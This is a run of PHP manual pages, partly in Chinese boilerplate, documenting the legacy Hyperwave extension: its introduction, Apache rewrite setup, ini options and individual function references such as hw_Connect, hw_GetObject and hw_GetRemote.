hw_api->userlist -- Returns a list of all logged in users

Description

array hw_api->userlist ( array parameter )

See also hwapi_user().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api->user | 上一级 | Hyperwave Functions


Hyperwave Functions

PHP 手册
后退 前进

XLIX. Hyperwave Functions

简介

Hyperwave has been developed at IICM in Graz. It started with the name Hyper-G and changed to Hyperwave when it was commercialised (in 1996).

Hyperwave is not free software. The current version, 5.5 is available at http://www.hyperwave.com/. A time limited version can be ordered for free (30 days).

See also the Hyperwave API module.

Hyperwave is an information system similar to a database (HIS, Hyperwave Information Server). Its focus is the storage and management of documents. A document can be any possible piece of data that may as well be stored in file. Each document is accompanied by its object record. The object record contains meta data for the document. The meta data is a list of attributes which can be extended by the user. Certain attributes are always set by the Hyperwave server, other may be modified by the user. An attribute is a name/value pair of the form name=value. The complete object record contains as many of those pairs as the user likes. The name of an attribute does not have to be unique, e.g. a title may appear several times within an object record. This makes sense if you want to specify a title in several languages. In such a case there is a convention, that each title value is preceded by the two letter language abbreviation followed by a colon, e.g. 'en:Title in English' or 'ge:Titel in deutsch'. Other attributes like a description or keywords are potential candidates. You may also replace the language abbreviation by any other string as long as it separated by colon from the rest of the attribute value.

Each object record has native a string representation with each name/value pair separated by a newline. The Hyperwave extension also knows a second representation which is an associated array with the attribute name being the key. Multilingual attribute values itself form another associated array with the key being the language abbreviation. Actually any multiple attribute forms an associated array with the string left to the colon in the attribute value being the key. (This is not fully implemented. Only the attributes Title, Description and Keyword are treated properly yet.)

Besides the documents, all hyper links contained in a document are stored as object records as well. Hyper links which are in a document will be removed from it and stored as individual objects, when the document is inserted into the database. The object record of the link contains information about where it starts and where it ends. In order to gain the original document you will have to retrieve the plain document without the links and the list of links and reinsert them. The functions hw_pipedocument() and hw_gettext() do this for you. The advantage of separating links from the document is obvious. Once a document to which a link is pointing to changes its name, the link can easily be modified accordingly. The document containing the link is not affected at all. You may even add a link to a document without modifying the document itself.

Saying that hw_pipedocument() and hw_gettext() do the link insertion automatically is not as simple as it sounds. Inserting links implies a certain hierarchy of the documents. On a web server this is given by the file system, but Hyperwave has its own hierarchy and names do not reflect the position of an object in that hierarchy. Therefore creation of links first of all requires a mapping from the Hyperwave hierarchy and namespace into a web hierarchy respective web namespace. The fundamental difference between Hyperwave and the web is the clear distinction between names and hierarchy in Hyperwave. The name does not contain any information about the objects position in the hierarchy. In the web the name also contains the information on where the object is located in the hierarchy. This leads to two possibles ways of mapping. Either the Hyperwave hierarchy and name of the Hyperwave object is reflected in the URL or the name only. To make things simple the second approach is used. Hyperwave object with name my_object is mapped to http://host/my_object disregarding where it resides in the Hyperwave hierarchy. An object with name parent/my_object could be the child of my_object in the Hyperwave hierarchy, though in a web namespace it appears to be just the opposite and the user might get confused. This can only be prevented by selecting reasonable object names.

Having made this decision a second problem arises. How do you involve PHP? The URL http://host/my_object will not call any PHP script unless you tell your web server to rewrite it to e.g. http://host/php_script/my_object and the script php_script evaluates the $PATH_INFO variable and retrieves the object with name my_object from the Hyperwave server. Their is just one little drawback which can be fixed easily. Rewriting any URL would not allow any access to other document on the web server. A PHP script for searching in the Hyperwave server would be impossible. Therefore you will need at least a second rewriting rule to exclude certain URLs like all e.g. starting with http://host/Hyperwave This is basically sharing of a namespace by the web and Hyperwave server.

Based on the above mechanism links are insert into documents.

It gets more complicated if PHP is not run as a server module or CGI script but as a standalone application e.g. to dump the content of the Hyperwave server on a CD-ROM. In such a case it makes sense to retain the Hyperwave hierarchy and map in onto the file system. This conflicts with the object names if they reflect its own hierarchy (e.g. by choosing names including '/'). Therefore '/' has to be replaced by another character, e.g. '_'.

The network protocol to communicate with the Hyperwave server is called HG-CSP (Hyper-G Client/Server Protocol). It is based on messages to initiate certain actions, e.g. get object record. In early versions of the Hyperwave Server two native clients (Harmony, Amadeus) were provided for communication with the server. Those two disappeared when Hyperwave was commercialised. As a replacement a so called wavemaster was provided. The wavemaster is like a protocol converter from HTTP to HG-CSP. The idea is to do all the administration of the database and visualisation of documents by a web interface. The wavemaster implements a set of placeholders for certain actions to customise the interface. This set of placeholders is called the PLACE Language. PLACE lacks a lot of features of a real programming language and any extension to it only enlarges the list of placeholders. This has led to the use of JavaScript which IMO does not make life easier.

Adding Hyperwave support to PHP should fill in the gap of a missing programming language for interface customisation. It implements all the messages as defined by the HG-CSP but also provides more powerful commands to e.g. retrieve complete documents.

Hyperwave has its own terminology to name certain pieces of information. This has widely been taken over and extended. Almost all functions operate on one of the following data types.

  • object ID: An unique integer value for each object in the Hyperwave server. It is also one of the attributes of the object record (ObjectID). Object ids are often used as an input parameter to specify an object.

  • object record: A string with attribute-value pairs of the form attribute=value. The pairs are separated by a carriage return from each other. An object record can easily be converted into an object array with hw_object2array(). Several functions return object records. The names of those functions end with obj.

  • object array: An associative array with all attributes of an object. The keys are the attribute names. If an attribute occurs more than once in an object record it will result in another indexed or associative array. Attributes which are language depended (like the title, keyword, description) will form an associative array with the keys set to the language abbreviations. All other multiple attributes will form an indexed array. PHP functions never return object arrays.

  • hw_document: This is a complete new data type which holds the actual document, e.g. HTML, PDF etc. It is somewhat optimized for HTML documents but may be used for any format.

Several functions which return an array of object records do also return an associative array with statistical information about them. The array is the last element of the object record array. The statistical array contains the following entries:

Hidden

Number of object records with attribute PresentationHints set to Hidden.

CollectionHead

Number of object records with attribute PresentationHints set to CollectionHead.

FullCollectionHead

Number of object records with attribute PresentationHints set to FullCollectionHead.

CollectionHeadNr

Index in array of object records with attribute PresentationHints set to CollectionHead.

FullCollectionHeadNr

Index in array of object records with attribute PresentationHints set to FullCollectionHead.

Total

Total: Number of object records.

需求

This extension needs a Hyperwave server downloadable from http://www.hyperwave.com/.

安装

本 PECL 扩展未绑定于 PHP 中。

In order to use these functions you must compile PHP with Hyperwave support by using the --with-hyperwave[=DIR] configure option.

Windows users will enable php_hyperwave.dll inside of php.ini in order to use these functions. 可以从 PHP 下载页面或者 http://snaps.php.net/ 下载此 PECL 扩展的 DLL 文件。

Integration with Apache

The Hyperwave extension is best used when PHP is compiled as an Apache module. In such a case the underlying Hyperwave server can be hidden from users almost completely if Apache uses its rewriting engine. The following instructions will explain this.

Since PHP with Hyperwave support built into Apache is intended to replace the native Hyperwave solution based on Wavemaster, we will assume that the Apache server will only serve as a Hyperwave web interface for these examples. This is not necessary but it simplifies the configuration. The concept is quite simple. First of all you need a PHP script which evaluates the $_ENV['PATH_INFO'] variable and treats its value as the name of a Hyperwave object. Let's call this script 'Hyperwave'. The URL http://your.hostname/Hyperwave/name_of_object would than return the Hyperwave object with the name 'name_of_object'. Depending on the type of the object the script has to react accordingly. If it is a collection, it will probably return a list of children. If it is a document it will return the mime type and the content. A slight improvement can be achieved if the Apache rewriting engine is used. From the users point of view it would be more straight forward if the URL http://your.hostname/name_of_object would return the object. The rewriting rule is quite easy:

RewriteRule ^/(.*) /usr/local/apache/htdocs/HyperWave/$1 [L]

Now every URL relates to an object in the Hyperwave server. This causes a simple to solve problem. There is no way to execute a different script, e.g. for searching, than the 'Hyperwave' script. This can be fixed with another rewriting rule like the following:

RewriteRule ^/hw/(.*) /usr/local/apache/htdocs/hw/$1 [L]

This will reserve the directory /usr/local/apache/htdocs/hw for additional scripts and other files. Just make sure this rule is evaluated before the one above. There is just a little drawback: all Hyperwave objects whose name starts with 'hw/' will be shadowed. So, make sure you don't use such names. If you need more directories, e.g. for images just add more rules or place them all in one directory. Before you put those instructions, don't forget to turn on the rewriting engine with

RewriteEngine on

You will need scripts:

  • to return the object itself

  • to allow searching

  • to identify yourself

  • to set your profile

  • one for each additional function like to show the object attributes, to show information about users, to show the status of the server, etc.

As an alternative to the Rewrite Engine, you can also consider using the Apache ErrorDocument directive, but be aware, that ErrorDocument redirected pages cannot receive POST data.

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. Hyperwave configuration options

Name | Default | Changeable | Changelog
hyperwave.allow_persistent | "0" | PHP_INI_SYSTEM | Available since PHP 4.3.2.
hyperwave.default_port | "418" | PHP_INI_ALL |
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

HW_ATTR_LANG (integer)

HW_ATTR_NR (integer)

HW_ATTR_NONE (integer)

Todo

There are still some things to do:

  • The hw_InsertDocument has to be split into hw_insertobject() and hw_putdocument().

  • The names of several functions are not fixed, yet.

  • Most functions require the current connection as its first parameter. This leads to a lot of typing, which is quite often not necessary if there is just one open connection. A default connection will improve this.

  • Conversion form object record into object array needs to handle any multiple attribute.

目录
hw_Array2Objrec -- Convert attributes from object array to object record
hw_changeobject -- Changes attributes of an object (obsolete)
hw_Children -- Object ids of children
hw_ChildrenObj -- Object records of children
hw_Close -- Closes the Hyperwave connection
hw_Connect -- Opens a connection
hw_connection_info -- Prints information about the connection to Hyperwave server
hw_cp -- Copies objects
hw_Deleteobject -- Deletes object
hw_DocByAnchor -- Object id object belonging to anchor
hw_DocByAnchorObj -- Object record object belonging to anchor
hw_Document_Attributes -- Object record of hw_document
hw_Document_BodyTag -- Body tag of hw_document
hw_Document_Content -- Returns content of hw_document
hw_Document_SetContent -- Sets/replaces content of hw_document
hw_Document_Size -- Size of hw_document
hw_dummy -- Hyperwave dummy function
hw_EditText -- Retrieve text document
hw_Error -- Error number
hw_ErrorMsg -- Returns error message
hw_Free_Document -- Frees hw_document
hw_GetAnchors -- Object ids of anchors of document
hw_GetAnchorsObj -- Object records of anchors of document
hw_GetAndLock -- Return object record and lock object
hw_GetChildColl -- Object ids of child collections
hw_GetChildCollObj -- Object records of child collections
hw_GetChildDocColl -- Object ids of child documents of collection
hw_GetChildDocCollObj -- Object records of child documents of collection
hw_GetObject -- Object record
hw_GetObjectByQuery -- Search object
hw_GetObjectByQueryColl -- Search object in collection
hw_GetObjectByQueryCollObj -- Search object in collection
hw_GetObjectByQueryObj -- Search object
hw_GetParents -- Object ids of parents
hw_GetParentsObj -- Object records of parents
hw_getrellink -- Get link from source to dest relative to rootid
hw_GetRemote -- Gets a remote document
hw_getremotechildren -- Gets children of remote document
hw_GetSrcByDestObj -- Returns anchors pointing at object
hw_GetText -- Retrieve text document
hw_getusername -- Name of currently logged in user
hw_Identify -- Identifies as user
hw_InCollections -- Check if object ids in collections
hw_Info -- Info about connection
hw_InsColl -- Insert collection
hw_InsDoc -- Insert document
hw_insertanchors -- Inserts only anchors into text
hw_InsertDocument -- Upload any document
hw_InsertObject -- Inserts an object record
hw_mapid -- Maps global id on virtual local id
hw_Modifyobject -- Modifies object record
hw_mv -- Moves objects
hw_New_Document -- Create new document
hw_objrec2array -- Convert attributes from object record to object array
hw_Output_Document -- Prints hw_document
hw_pConnect -- Make a persistent database connection
hw_PipeDocument -- Retrieve any document
hw_Root -- Root object id
hw_setlinkroot -- Set the id to which links are calculated
hw_stat -- Returns status string
hw_Unlock -- Unlock object
hw_Who -- List of currently logged in users

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api->userlist | 上一级 | hw_Array2Objrec


hw_Array2Objrec

(PHP 3 >= 3.0.4, PHP 4, PECL)

hw_Array2Objrec -- Convert attributes from object array to object record

Description

string hw_array2objrec ( array object_array )

Converts an object_array into an object record. Multiple attributes like 'Title' in different languages are treated properly.

See also hw_objrec2array().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Hyperwave Functions | 上一级 | hw_changeobject


hw_changeobject

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_changeobject -- Changes attributes of an object (obsolete)

Description

bool hw_changeobject ( int link, int objid, array attributes )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_Array2Objrec | 上一级 | hw_Children


hw_Children

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_Children -- Object ids of children

Description

array hw_children ( int connection, int objectID )

Returns an array of object ids. Each id belongs to a child of the collection with ID objectID. The array contains all children both documents and collections.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_changeobject | 上一级 | hw_ChildrenObj


hw_ChildrenObj

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_ChildrenObj -- Object records of children

Description

array hw_childrenobj ( int connection, int objectID )

Returns an array of object records. Each object record belongs to a child of the collection with ID objectID. The array contains all children both documents and collections.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_Children | 上一级 | hw_Close


hw_Close

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_Close -- Closes the Hyperwave connection

Description

bool hw_close ( int connection )

Returns FALSE if connection is not a valid connection index, otherwise TRUE. Closes down the connection to a Hyperwave server with the given connection index.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_ChildrenObj | 上一级 | hw_Connect


hw_Connect

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_Connect -- Opens a connection

Description

int hw_connect ( string host, int port [, string username, string password] )

Opens a connection to a Hyperwave server and returns a connection index on success, or FALSE if the connection could not be made. Each of the arguments should be a quoted string, except for the port number. The username and password arguments are optional and can be left out. In such a case no identification with the server will be done. It is similar to identify as user anonymous. This function returns a connection index that is needed by other Hyperwave functions. You can have multiple connections open at once. Keep in mind, that the password is not encrypted.

See also hw_pconnect().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_Close | 上一级 | hw_connection_info


hw_connection_info

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_connection_info -- Prints information about the connection to Hyperwave server

Description

void hw_connection_info ( int link )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_Connect | 上一级 | hw_cp


hw_cp

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_cp -- Copies objects

Description

int hw_cp ( int connection, array object_id_array, int destination_id )

Copies the objects with object ids as specified in the second parameter to the collection with the id destination id.

The value return is the number of copied objects.

See also hw_mv().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_connection_info | 上一级 | hw_Deleteobject


hw_Deleteobject

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_Deleteobject -- Deletes object

Description

bool hw_deleteobject ( int connection, int object_to_delete )

Deletes the object with the given object id in the second parameter. It will delete all instances of the object.

Returns TRUE if no error occurs otherwise FALSE.

See also hw_mv().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_cp | 上一级 | hw_DocByAnchor


hw_DocByAnchor

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_DocByAnchor -- Object id object belonging to anchor

Description

int hw_docbyanchor ( int connection, int anchorID )

Returns an th object id of the document to which anchorID belongs.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_Deleteobject | 上一级 | hw_DocByAnchorObj


hw_DocByAnchorObj

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_DocByAnchorObj -- Object record object belonging to anchor

Description

string hw_docbyanchorobj ( int connection, int anchorID )

Returns an th object record of the document to which anchorID belongs.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_DocByAnchor | 上一级 | hw_Document_Attributes


hw_Document_Attributes

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_Document_Attributes -- Object record of hw_document

Description

string hw_document_attributes ( int hw_document )

Returns the object record of the document.

For backward compatibility, hw_documentattributes() is also accepted. This is deprecated, however.

See also hw_document_bodytag(), and hw_document_size().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_DocByAnchorObj | 上一级 | hw_Document_BodyTag


hw_Document_BodyTag

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_Document_BodyTag -- Body tag of hw_document

Description

string hw_document_bodytag ( int hw_document [, string prefix] )

Returns the BODY tag of the document. If the document is an HTML document the BODY tag should be printed before the document.

See also hw_document_attributes(), and hw_document_size().

For backward compatibility, hw_documentbodytag() is also accepted. This is deprecated, however.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_Document_Attributes | 上一级 | hw_Document_Content


hw_Document_Content

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_Document_Content -- Returns content of hw_document

Description

string hw_document_content ( int hw_document )

Returns the content of the document. If the document is an HTML document the content is everything after the BODY tag. Information from the HEAD and BODY tag is in the stored in the object record.

See also hw_document_attributes(),
hw_document_size(),
and hw_document_setcontent().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_Document_BodyTag | 上一级 | hw_Document_SetContent


hw_Document_SetContent

(PHP 4, PECL)

hw_Document_SetContent -- Sets/replaces content of hw_document

Description

bool hw_document_setcontent ( int hw_document, string content )

Sets or replaces the content of the document. If the document is an HTML document the content is everything after the BODY tag. Information from the HEAD and BODY tag is in the stored in the object record. If you provide this information in the content of the document too, the Hyperwave server will change the object record accordingly when the document is inserted. Probably not a very good idea. If this functions fails the document will retain its old content.

See also hw_document_attributes(),
hw_document_size(),
and hw_document_content().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_Document_Content | 上一级 | hw_Document_Size


hw_Document_Size

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_Document_Size -- Size of hw_document

Description

int hw_document_size ( int hw_document )

Returns the size in bytes of the document.

See also hw_document_bodytag(), and hw_document_attributes().

For backward compatibility, hw_documentsize() is also accepted. This is deprecated, however.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_Document_SetContent | 上一级 | hw_dummy


hw_dummy

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_dummy -- Hyperwave dummy function

Description

string hw_dummy ( int link, int id, int msgid )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_Document_Size | 上一级 | hw_EditText


hw_EditText

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_EditText -- Retrieve text document

Description

bool hw_edittext ( int connection, int hw_document )

Uploads the text document to the server. The object record of the document may not be modified while the document is edited. This function will only works for pure text documents. It will not open a special data connection and therefore blocks the control connection during the transfer.

See also hw_pipedocument(),
hw_free_document(),
hw_document_bodytag(),
hw_document_size(),
hw_output_document(), and
hw_gettext().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_dummy | 上一级 | hw_Error


hw_Error

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_Error -- Error number

Description

int hw_error ( int connection )

Returns the last error number. If the return value is 0 no error has occurred. The error relates to the last command.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_EditText | 上一级 | hw_ErrorMsg


hw_ErrorMsg

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_ErrorMsg -- Returns error message

Description

string hw_errormsg ( int connection )

Returns a string containing the last error message or 'No Error'. If FALSE is returned, this function failed. The message relates to the last command.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_Error | 上一级 | hw_Free_Document


hw_Free_Document

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_Free_Document -- Frees hw_document

Description

bool hw_free_document ( int hw_document )

Frees the memory occupied by the Hyperwave document.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_ErrorMsg | 上一级 | hw_GetAnchors


hw_GetAnchors

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_GetAnchors -- Object ids of anchors of document

Description

array hw_getanchors ( int connection, int objectID )

Returns an array of object ids with anchors of the document with object ID objectID.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_Free_Document | 上一级 | hw_GetAnchorsObj


hw_GetAnchorsObj

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_GetAnchorsObj -- Object records of anchors of document

Description

array hw_getanchorsobj ( int connection, int objectID )

Returns an array of object records with anchors of the document with object ID objectID.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_GetAnchors | 上一级 | hw_GetAndLock


hw_GetAndLock

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_GetAndLock -- Return object record and lock object

Description

string hw_getandlock ( int connection, int objectID )

Returns the object record for the object with ID objectID. It will also lock the object, so other users cannot access it until it is unlocked.

See also hw_unlock(), and hw_getobject().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_GetAnchorsObj | 上一级 | hw_GetChildColl


hw_GetChildColl

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_GetChildColl -- Object ids of child collections

Description

array hw_getchildcoll ( int connection, int objectID )

Returns an array of object ids. Each object ID belongs to a child collection of the collection with ID objectID. The function will not return child documents.

See also hw_children(), and hw_getchilddoccoll().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_GetAndLock | 上一级 | hw_GetChildCollObj


hw_GetChildCollObj

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_GetChildCollObj -- Object records of child collections

Description

array hw_getchildcollobj ( int connection, int objectID )

Returns an array of object records. Each object records belongs to a child collection of the collection with ID objectID. The function will not return child documents.

See also hw_childrenobj(), and hw_getchilddoccollobj().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_GetChildColl | 上一级 | hw_GetChildDocColl


hw_GetChildDocColl

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_GetChildDocColl -- Object ids of child documents of collection

Description

array hw_getchilddoccoll ( int connection, int objectID )

Returns array of object ids for child documents of a collection.

See also hw_children(), and hw_getchildcoll().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_GetChildCollObj | 上一级 | hw_GetChildDocCollObj


hw_GetChildDocCollObj

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_GetChildDocCollObj -- Object records of child documents of collection

Description

array hw_getchilddoccollobj ( int connection, int objectID )

Returns an array of object records for child documents of a collection.

See also hw_childrenobj(), and hw_getchildcollobj().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_GetChildDocColl | 上一级 | hw_GetObject


hw_GetObject

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_GetObject -- Object record

Description

mixed hw_getobject ( int connection, mixed objectID [, string query] )

Returns the object record for the object with ID objectID if the second parameter is an integer. If the second parameter is an array of integer the function will return an array of object records. In such a case the last parameter is also evaluated which is a query string.

The query string has the following syntax:

<expr> ::= "(" <expr> ")" |

"!" <expr> | /* NOT */

<expr> "||" <expr> | /* OR */

<expr> "&&" <expr> | /* AND */

<attribute> <operator> <value>

<attribute> ::= /* any attribute name (Title, Author, DocumentType ...) */

<operator> ::= "=" | /* equal */

"<" | /* less than (string compare) */

">" | /* greater than (string compare) */

"~" /* regular expression matching */

The query allows to further select certain objects from the list of given objects. Unlike the other query functions, this query may use not indexed attributes. How many object records are returned depends on the query and if access to the object is allowed.

See also hw_getandlock(), and hw_getobjectbyquery().

add a note add a note User Contributed Notes
oswald at videofreak dot at
26-Jan-2002 12:31
There is a problem with the ObcectIds as used in Hyperwave ( like 0x232123).The automatic type conversion makes a variable like this a string, and you get nothin. Even the explicit conversion (like intval (0x232123)) leads to nonsense: You need to convert a hyperwave hexdec-Oid as follows:
 intval(hexdec(Oid));
then you get results :-)
add a note add a note

后退 | 起点 | 前进
hw_GetChildDocCollObj | 上一级 | hw_GetObjectByQuery


hw_GetObjectByQuery

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_GetObjectByQuery -- Search object

Description

array hw_getobjectbyquery ( int connection, string query, int max_hits )

Searches for objects on the whole server and returns an array of object ids. The maximum number of matches is limited to max_hits. If max_hits is set to -1 the maximum number of matches is unlimited.

The query will only work with indexed attributes.

See also hw_getobjectbyqueryobj().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_GetObject | 上一级 | hw_GetObjectByQueryColl


hw_GetObjectByQueryColl

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_GetObjectByQueryColl -- Search object in collection

Description

array hw_getobjectbyquerycoll ( int connection, int objectID, string query, int max_hits )

Searches for objects in collection with ID objectID and returns an array of object ids. The maximum number of matches is limited to max_hits. If max_hits is set to -1 the maximum number of matches is unlimited.

The query will only work with indexed attributes.

See also hw_getobjectbyquerycollobj().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_GetObjectByQuery | 上一级 | hw_GetObjectByQueryCollObj


hw_GetObjectByQueryCollObj

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_GetObjectByQueryCollObj -- Search object in collection

Description

array hw_getobjectbyquerycollobj ( int connection, int objectID, string query, int max_hits )

Searches for objects in collection with ID objectID and returns an array of object records. The maximum number of matches is limited to max_hits. If max_hits is set to -1 the maximum number of matches is unlimited.

The query will only work with indexed attributes.

See also hw_getobjectbyquerycoll().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_GetObjectByQueryColl | 上一级 | hw_GetObjectByQueryObj


hw_GetObjectByQueryObj

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_GetObjectByQueryObj -- Search object

Description

array hw_getobjectbyqueryobj ( int connection, string query, int max_hits )

Searches for objects on the whole server and returns an array of object records. The maximum number of matches is limited to max_hits. If max_hits is set to -1 the maximum number of matches is unlimited.

The query will only work with indexed attributes.

See also hw_getobjectbyquery().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_GetObjectByQueryCollObj | 上一级 | hw_GetParents


hw_GetParents

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_GetParents -- Object ids of parents

Description

array hw_getparents ( int connection, int objectID )

Returns an indexed array of object ids. Each object id belongs to a parent of the object with ID objectID.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_GetObjectByQueryObj | 上一级 | hw_GetParentsObj


hw_GetParentsObj

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_GetParentsObj -- Object records of parents

Description

array hw_getparentsobj ( int connection, int objectID )

Returns an indexed array of object records plus an associated array with statistical information about the object records. The associated array is the last entry of the returned array. Each object record belongs to a parent of the object with ID objectID.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_GetParents | 上一级 | hw_getrellink


hw_getrellink

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_getrellink -- Get link from source to dest relative to rootid

Description

string hw_getrellink ( int link, int rootid, int sourceid, int destid )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_GetParentsObj | 上一级 | hw_GetRemote


hw_GetRemote

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_GetRemote -- Gets a remote document

Description

int hw_getremote ( int connection, int objectID )

Returns a remote document. Remote documents in Hyperwave notation are documents retrieved from an external source. Common remote documents are for example external web pages or queries in a database. In order to be able to access external sources through remote documents Hyperwave introduces the HGI (Hyperwave Gateway Interface) which is similar to the CGI. Currently, only ftp, http-servers and some databases can be accessed by the HGI. Calling hw_getremote() returns the document from the external source. If you want to use this function you should be very familiar with HGIs. You should also consider to use PHP instead of Hyperwave to access external sources. Adding database support by a Hyperwave gateway should be more difficult than doing it in PHP.

See also hw_getremotechildren().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_getrellink | 上一级 | hw_getremotechildren


hw_getremotechildren

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_getremotechildren -- Gets children of remote document

Description

mixed hw_getremotechildren ( int connection, string object_record )

Returns the children of a remote document. Children of a remote document are remote documents itself. This makes sense if a database query has to be narrowed and is explained in Hyperwave Programmers' Guide. If the number of children is 1 the function will return the document itself formatted by the Hyperwave Gateway Interface (HGI). If the number of children is greater than 1 it will return an array of object record with each maybe the input value for another call to hw_getremotechildren(). Those object records are virtual and do not exist in the Hyperwave server, therefore they do not have a valid object ID. How exactly such an object record looks like is up to the HGI. If you want to use this function you should be very familiar with HGIs. You should also consider to use PHP instead of Hyperwave to access external sources. Adding database support by a Hyperwave gateway should be more difficult than doing it in PHP.

See also hw_getremote().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_GetRemote | 上一级 | hw_GetSrcByDestObj


hw_GetSrcByDestObj

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_GetSrcByDestObj -- Returns anchors pointing at object

Description

array hw_getsrcbydestobj ( int connection, int objectID )

Returns the object records of all anchors pointing to the object with ID objectID. The object can either be a document or an anchor of type destination.

See also hw_getanchors().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_getremotechildren | 上一级 | hw_GetText


hw_GetText

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_GetText -- Retrieve text document

Description

int hw_gettext ( int connection, int objectID [, mixed rootID/prefix] )

